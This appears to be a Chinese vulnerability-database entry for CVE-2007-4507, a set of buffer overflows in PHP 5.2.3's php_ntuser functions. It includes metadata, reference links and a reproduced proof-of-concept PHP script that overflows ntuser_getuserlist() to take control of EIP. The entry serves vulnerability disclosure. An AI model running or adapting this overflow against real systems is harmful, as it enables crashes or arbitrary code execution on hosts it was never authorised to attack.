PHP php_ntuser组件多个缓冲区溢出漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1113507 漏洞类型 缓冲区溢出
发布时间 2007-08-23 更新时间 2007-08-23
CVE编号 CVE-2007-4507 CNNVD-ID CNNVD-200708-385
漏洞平台 Windows CVSS评分 6.8
|漏洞来源
https://www.exploit-db.com/exploits/4304
https://www.securityfocus.com/bid/85436
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200708-385
|漏洞详情
PHP5.2.3版本的php_ntuser组件中存在多个缓冲区溢出。见机行事的攻击者可以借助对(1)ntuser_getuserlist,(2)ntuser_getuserinfo,(3)ntuser_getusergroups,或(4)ntuser_getdomaincontroller函数的超长自变量,造成拒绝服务或执行任意代码。
|漏洞EXP
<?php
//PHP 5.2.3 php_ntuser ntuser_getuserlist() Local Buffer Overflow
//author: shinnai
//mail: shinnai[at]autistici[dot]org
//site: http://shinnai.altervista.org

//greetz to BrainBugger Crew
//http://www.brainbugger.altervista.org/

//Bug discovered with "Footzo" (thanks to rgod) modified.

//To download Footzo:
//original link: http://godr.altervista.org/index.php?mod=Download/useful_tools#footzo.rar
//alternative: http://www.shinnai.altervista.org/index.php?mod=Download/Utilities#footzo.rar

//also theese are vulnerable:
//ntuser_getusergroups <-- DoS, we control EAX
//ntuser_getdomaincontroller <-- DoS, we control EAX
//ntuser_getuserinfo <-- BoF, we control EIP 00410041

//This is the content of registers:

//EAX FFFFFFFE
//ECX 00000754
//EDX 00000041
//EBX 00223D18
//ESP 00C0FB34 UNICODE "CCC... x 100"
//EBP 00C0FBD0 UNICODE "CCC + DDD... x 100"
//ESI 011AC4A8
//EDI 011ADC00
//EIP 00410041

$buff    = str_repeat("\x41", 250);

$get_EIP = "\x42\x42";

$get_ESP = str_repeat("\x43", 100);

$get_EBP = str_repeat("\x44", 100);

ntuser_getuserlist($buff.$get_EIP.$get_ESP.$get_EBP);
?>

# milw0rm.com [2007-08-23]
|受影响的产品
PHP PHP 5.2.3
|参考资料

来源:MILW0RM
名称:4304
链接:http://www.milw0rm.com/exploits/4304